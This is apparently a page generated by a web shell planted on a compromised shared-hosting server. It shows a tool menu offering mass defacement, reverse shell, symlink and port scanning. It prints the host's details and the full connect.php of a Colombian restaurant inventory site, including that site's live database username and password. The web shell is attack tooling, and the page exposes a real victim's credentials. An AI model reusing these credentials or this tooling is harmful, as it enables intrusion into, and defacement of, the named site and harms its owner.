Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
chorizon
/
components
/
Viewing: connect.php
<?php date_default_timezone_set('America/Bogota'); function parseDecimalFromString($value): float { if ($value === null) { return 0.0; } $raw = trim((string)$value); if ($raw === '') { return 0.0; } if (preg_match('/-?\d+(?:[\.,]\d+)?/', $raw, $m)) { $num = str_replace(',', '.', $m[0]); return is_numeric($num) ? (float)$num : 0.0; } return 0.0; } function getIngredientConsumptionForProducts(PDO $conn, array $productQtyById): array { $productQtyById = array_filter($productQtyById, static function ($v) { return is_numeric($v) && (int)$v > 0; }); if (empty($productQtyById)) { return []; } $productIds = []; foreach ($productQtyById as $pid => $qty) { $pid = (int)$pid; if ($pid > 0) { $productIds[$pid] = $pid; } } if (empty($productIds)) { return []; } $placeholders = implode(',', array_fill(0, count($productIds), '?')); $stmt = $conn->prepare( "SELECT pi.product_id, pi.ingredient_id, pi.quantity\n" . "FROM product_ingredients pi\n" . "INNER JOIN ingredients i ON i.id = pi.ingredient_id\n" . "WHERE pi.product_id IN ($placeholders) AND i.is_active = 1" ); $stmt->execute(array_values($productIds)); $totals = []; foreach ($stmt->fetchAll(PDO::FETCH_ASSOC) as $row) { $pId = (int)($row['product_id'] ?? 0); $iId = (int)($row['ingredient_id'] ?? 0); if ($pId <= 0 || $iId <= 0) { continue; } $orderQty = (int)($productQtyById[$pId] ?? 0); if ($orderQty <= 0) { continue; } $recipeQty = parseDecimalFromString($row['quantity'] ?? ''); if ($recipeQty <= 0) { continue; } $needed = $recipeQty * $orderQty; if (!isset($totals[$iId])) { $totals[$iId] = 0.0; } $totals[$iId] += $needed; } foreach ($totals as $iId => $qty) { if (!is_finite($qty) || $qty <= 0) { unset($totals[$iId]); } } return $totals; } function recordInventoryConsumption(PDO $conn, int $adminId, string $reason, int $orderId, array $productQtyById): int { $consumption = getIngredientConsumptionForProducts($conn, $productQtyById); if (empty($consumption)) { return 0; } $notes = trim($reason . ' #' . (int)$orderId); $insert = $conn->prepare( "INSERT INTO `inventory_movements` (ingredient_id, movement_type, quantity, notes, admin_id) VALUES (?, 'out', ?, ?, ?)" ); $count = 0; foreach ($consumption as $ingredientId => $qty) { $ingredientId = (int)$ingredientId; $qty = (float)$qty; if ($ingredientId <= 0 || $qty <= 0) { continue; } $insert->execute([$ingredientId, $qty, $notes, $adminId > 0 ? $adminId : null]); $count++; } return $count; } function getSystemSetting(PDO $conn, string $key, ?string $default = null): ?string { if (!isset($GLOBALS['_system_settings_cache']) || !is_array($GLOBALS['_system_settings_cache'])) { $GLOBALS['_system_settings_cache'] = []; } $cache = &$GLOBALS['_system_settings_cache']; if (array_key_exists($key, $cache)) { return $cache[$key] ?? $default; } try { $stmt = $conn->prepare('SELECT setting_value FROM `settings` WHERE setting_key = ? LIMIT 1'); $stmt->execute([$key]); $value = $stmt->fetchColumn(); if ($value === false || $value === null) { $cache[$key] = null; return $default; } $cache[$key] = (string)$value; return $cache[$key]; } catch (Throwable $ignored) { return $default; } } function setSystemSetting(PDO $conn, string $key, ?string $value): void { try { $stmt = $conn->prepare( 'INSERT INTO `settings` (setting_key, setting_value) VALUES (?, ?) ON DUPLICATE KEY UPDATE setting_value = VALUES(setting_value)' ); $stmt->execute([$key, $value]); if (!isset($GLOBALS['_system_settings_cache']) || !is_array($GLOBALS['_system_settings_cache'])) { $GLOBALS['_system_settings_cache'] = []; } $GLOBALS['_system_settings_cache'][$key] = $value; } catch (Throwable $ignored) { } } function getBusinessName(PDO $conn): string { $name = trim((string)getSystemSetting($conn, 'business_name', '')); return $name; } function getBusinessLogo(PDO $conn): string { $logo = trim((string)getSystemSetting($conn, 'business_logo', '')); return $logo !== '' ? $logo : 'assets/img/favicon.png'; } function getBusinessLogoVersion(PDO $conn): string { return trim((string)getSystemSetting($conn, 'business_logo_version', '')); } function getBusinessPhone(PDO $conn): string { $phone = trim((string)getSystemSetting($conn, 'business_phone', '')); return $phone; } function getSystemCurrency(PDO $conn): array { static $cached = null; if (is_array($cached)) { return $cached; } $default = [ 'code' => 'COP', 'name' => 'peso colombiano', 'symbol' => '$', 'fraction_size' => 0, 'template' => 'COP $1', 'rtl' => 0, ]; try { $code = strtoupper(trim((string)getSystemSetting($conn, 'currency_code', 'COP'))); if ($code === '') { $code = 'COP'; } $stmt = $conn->prepare('SELECT code, name, symbol, fraction_size, template, rtl FROM currencies WHERE code = ? LIMIT 1'); $stmt->execute([$code]); $row = $stmt->fetch(PDO::FETCH_ASSOC); if (!$row) { $cached = $default; return $cached; } $cached = [ 'code' => (string)$row['code'], 'name' => (string)$row['name'], 'symbol' => (string)$row['symbol'], 'fraction_size' => (int)$row['fraction_size'], 'template' => (string)$row['template'], 'rtl' => !empty($row['rtl']) ? 1 : 0, ]; return $cached; } catch (Throwable $ignored) { $cached = $default; return $cached; } } function formatMoney($value, ?PDO $conn = null): string { $numeric = is_numeric($value) ? (float)$value : 0.0; $currency = $conn ? getSystemCurrency($conn) : null; if (!is_array($currency)) { $currency = [ 'symbol' => '$', 'fraction_size' => 0, 'template' => 'COP $1', ]; } $fraction = isset($currency['fraction_size']) ? (int)$currency['fraction_size'] : 0; $fraction = max(0, min(6, $fraction)); $formattedNumber = number_format($numeric, $fraction, ',', '.'); $symbol = (string)($currency['symbol'] ?? ''); $template = (string)($currency['template'] ?? '$1'); if ($template === '') { $template = '$1'; } $symbolPos = strpos($template, '$'); $numberPos = strpos($template, '1'); if ($symbolPos === false || $numberPos === false) { return $symbol . $formattedNumber; } $between = ''; if ($symbolPos < $numberPos) { $between = substr($template, $symbolPos + 1, $numberPos - $symbolPos - 1); $glue = preg_match('/\s/', $between) ? ' ' : ''; return $symbol . $glue . $formattedNumber; } $between = substr($template, $numberPos + 1, $symbolPos - $numberPos - 1); $glue = preg_match('/\s/', $between) ? ' ' : ''; return $formattedNumber . $glue . $symbol; } $dbConfig = [ 'host' => 'localhost', 'name' => 'u931257429_chorizon', 'user' => 'u931257429_chorizon', 'pass' => 'Aircan.12', 'charset' => 'utf8mb4', ]; $dsn = sprintf( 'mysql:host=%s;dbname=%s;charset=%s', $dbConfig['host'], $dbConfig['name'], $dbConfig['charset'] ); $pdoOptions = [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, PDO::ATTR_EMULATE_PREPARES => false, ]; try { $conn = new PDO($dsn, $dbConfig['user'], $dbConfig['pass'], $pdoOptions); try { $conn->exec("SET time_zone = '-05:00'"); } catch (PDOException $ignored) { } } catch (PDOException $exception) { exit('Error de conexión a la base de datos.'); } ?>
Coded With 💗 by
0x6ick